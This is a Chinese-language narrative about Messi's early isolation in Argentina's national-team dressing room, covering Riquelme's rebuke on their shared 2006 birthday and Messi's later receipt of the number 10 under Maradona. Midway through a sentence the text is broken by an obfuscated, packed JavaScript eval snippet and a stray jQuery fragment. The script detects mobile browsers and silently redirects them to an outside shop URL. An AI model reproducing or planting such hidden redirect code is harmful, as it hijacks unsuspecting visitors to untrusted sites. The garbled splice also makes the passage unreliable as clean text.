【性相：局外人/他乡客】
贝隆的退出换来了更衣室表面的平和，与此同时，一枚冉冉升起的陌生新星跃入了众位老大哥们的视野。
他们都知道，这个孩子早早去了欧洲踢球，他既不属于博卡，也不属于河床，既不属于罗萨里奥中央，也不属于纽维尔老男孩——你说他在那里踢过球？拜托，他13岁就去了巴塞罗那！
他不属于任何阿根廷青训体系，也没有在阿根廷球员扎堆的欧洲俱乐部效力。更衣室的一道道目光落到这个孩子身上，他留着柔软的长发，个子不高，似乎也不太壮实，不踢球的时候，总是像一只呆滞的绵羊。
这样一个人，就是那些欧洲人交口称颂的未来球王？
对于大多数阿根廷人来说，未来的球王，除了踢球要像马拉多纳，场下的为人处世，也该像马拉多纳才对。
几乎没有人主动友善地去和他交朋友，但所有人都在盯着他——看着他沉默寡言地训练，自顾自地穿裆过掉别人，让人气恼；训练完又一言不发地离开，转头钻进自己的房间里，玩起了电子游戏，通常不会有队员和他玩游戏，于是他会带着一些队员和工作人员的孩子们一起玩……除此之外，就是和另一个小屁孩混在一起，那个替补门将乌斯塔里。
乌斯塔里是队里少有的梅西同龄人，他被征召入队对于一些人来说也是颇为不合理的结果，河床门将赫尔曼·卢克斯帮助阿根廷队获得2004年奥运会冠军，却没能竞争过这个20岁的门将，入选2006世界杯队伍？
梅西不属于任何一个派系，他似乎也没打算通过谄媚或表忠心加入哪一边。他和周围那几个格格不入的年轻朋友，成了更衣室批评揶揄的对象。
【19号的19岁生日】
2006年的6月24日，是梅西的19岁生日，不过队伍里大概除了乌斯塔里没人在乎这一点，因为这一天也是更衣室大哥里克尔梅的生日。
正巧那天晚上是对阵墨西哥的八分之一决赛，梅西84分钟替补上场，在接下来的时间和队友们取得进球，获得胜利。而与德国的四分之一决赛则远在五天之后。所以在庆祝完胜利后，和里克尔梅相熟的朋友们都涌进他的房间，为他庆祝生日。
“小跳蚤！祝你19岁生日快乐！”没有人邀请梅西和乌斯塔里，也只有乌斯塔里祝福了他的生日，“已经快到第二天了。”乌斯塔里看了看更衣室的时钟，不好意思地挠了挠头，“白天忘记和你说了。”
“没关系，在阿根廷现在还是24号的下午……也许快要吃晚饭了。”
梅西的记忆力很好，即使出国比赛，他也总能记得阿根廷的时间。
乌斯塔里突然有些为自己的朋友感到心酸，他猜测里奥是想念家人了，如果此刻没有比赛，里奥应该待在家里，准备吃上妈妈为他炖的米兰牛肉。
“里奥，我们要不也去里克尔梅的房间看看吧，你和他同一天生日，大家一定也会祝福你的，肯定会很热闹！”
梅西想了想，点了点头。在更衣室里，里克尔梅对他们姑且还算友好，至少不像会在记者会上公开批评他们只会躲在房间打游戏的海因策，总对他们摆着冷脸，即便是训练也不会传球给梅西。
【世俗的准则：人们不会写下，不会说起，但人们记在心里】
基地的房间隔音确实并不算太好，但即便隔着一扇紧闭的门，梅西和乌斯塔里也能听见房间里震耳欲聋的音乐声和呼喊声。
“我猜他们根本不会听到我们敲门，不是么？”
“我猜……也是。”梅西也笑着点点头，欢乐的音乐总归是有感染力的，两个人说笑着，打算径直推开面前的那扇门。
【门扉洞开：背后空无一物，或是只有冷漠的空虚】
角落的音箱还在放着节奏明快的拉丁摇滚，房间里的人们却停下了庆祝的欢笑，所有的目光都投向了门口那两个无所适从的少年，就像他们总在训练时做的那样，冷冷地斜目而视。
梅西已经察觉到，自己可能已经犯下了某个“无可挽回”的错误。可能因为他没有敲门就进来，也可能因为没有人期待在这里见到他。
在这样微妙的瞬间，他已经猜到自己要面对什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903296|212974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么了，也许此时此刻，自己的脸上又是那副不讨人喜欢的，“羔羊一样的”表情。
今天的另一位寿星，坐在房间的最里头。里克尔梅也冷冷地看着梅西，“白痴！你不会先敲门吗？你要学学进门之前如何敲门！你他妈认为你是谁？”
这番毫不留情的话让一旁的乌斯塔里听了都倒吸一口凉气，他张了张嘴，想为梅西说些什么。“对不起……”脸色煞白的梅西先道了歉，随后便失魂落魄地转过身，往自己的房间走去。
乌斯塔里随后追上了梅西，“里奥，没关系的，我们自己在房间里玩游戏也是一样的，我们之前不也是这样的吗……”
“对不起，奥斯卡，我今晚想早些睡下……我累了。”
【不完整的拼图：被放而任之的残缺】
随着时间的推移，距离2010世界杯的开赛时间也越来越近，马拉多纳再也没有征召过里克尔梅，看起来，他确实将队伍的核心地位交给了梅西。
【获得：国家队10号球衣——总是属于核心，英雄人物，技艺精湛者】
在马拉多纳执教的第一场比赛中，他就将颇具象征意义的阿根廷10号球衣交给了梅西。
而这个号码上一任的主人正是已经被马拉多纳放逐的里克尔梅。
21岁的10号！梅西兴奋地接过了这个他梦寐以求的号码，这个象征着天才，梦想以及英雄弧光的伟大号码！队长马斯切拉诺和贝隆对此也表示了同意。在这一场比赛中，阿根廷4-0大胜委内瑞拉，看起来像是个皆大欢喜的局面。
马拉多纳也许真的对梅西产生了改观，人们这样猜测。梅西受伤时，他会急切而神伤地看着梅西，像国王看着自己受伤的爱将，甚至像父亲看着自己受挫的孩子。
但跌宕起伏的成绩显示出这样一个队伍存在着一些严重的问题……
梅西发现，没有里克尔梅的阿根廷队，几乎完全失去了中场的控制力，与此同时，里克尔梅的离开并不能使他变得服众……马拉多纳的队伍自断一臂，却没能求得更衣室的平稳，甚至也许起到了相反的效果……